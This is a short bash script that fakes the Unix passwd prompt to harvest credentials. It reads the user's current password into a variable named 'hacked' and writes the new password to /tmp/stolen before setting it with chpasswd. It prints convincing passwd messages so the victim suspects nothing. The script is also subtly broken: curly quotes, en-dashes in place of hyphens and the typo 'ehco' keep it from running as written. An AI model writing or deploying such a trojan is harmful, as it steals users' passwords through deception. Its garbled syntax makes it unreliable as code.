#!/bin/bash
stty –echo
echo “Changing password for $USER”
echo –n “Current UNIX password: “; read hacked;
echo
echo –n “Enter new UNIX password: “; read newPw1;
echo
ehco –n “Retype new UNIX password: “; read newPw2;
echo
if [ $newPw1 == $newPw2 ]; then
  echo $newPw1 > /tmp/stolen
  # you may need to use sudo chpassword here
  echo “$USER:$newPw1” | chpasswd
  echo “passwd: password updated successfully”
else
  echo “Sorry, passwords do not match”
  sleep 2
  echo “passwd: Authentication token manipulation error”
  echo “passwd: password unchanged”
fi
stty echo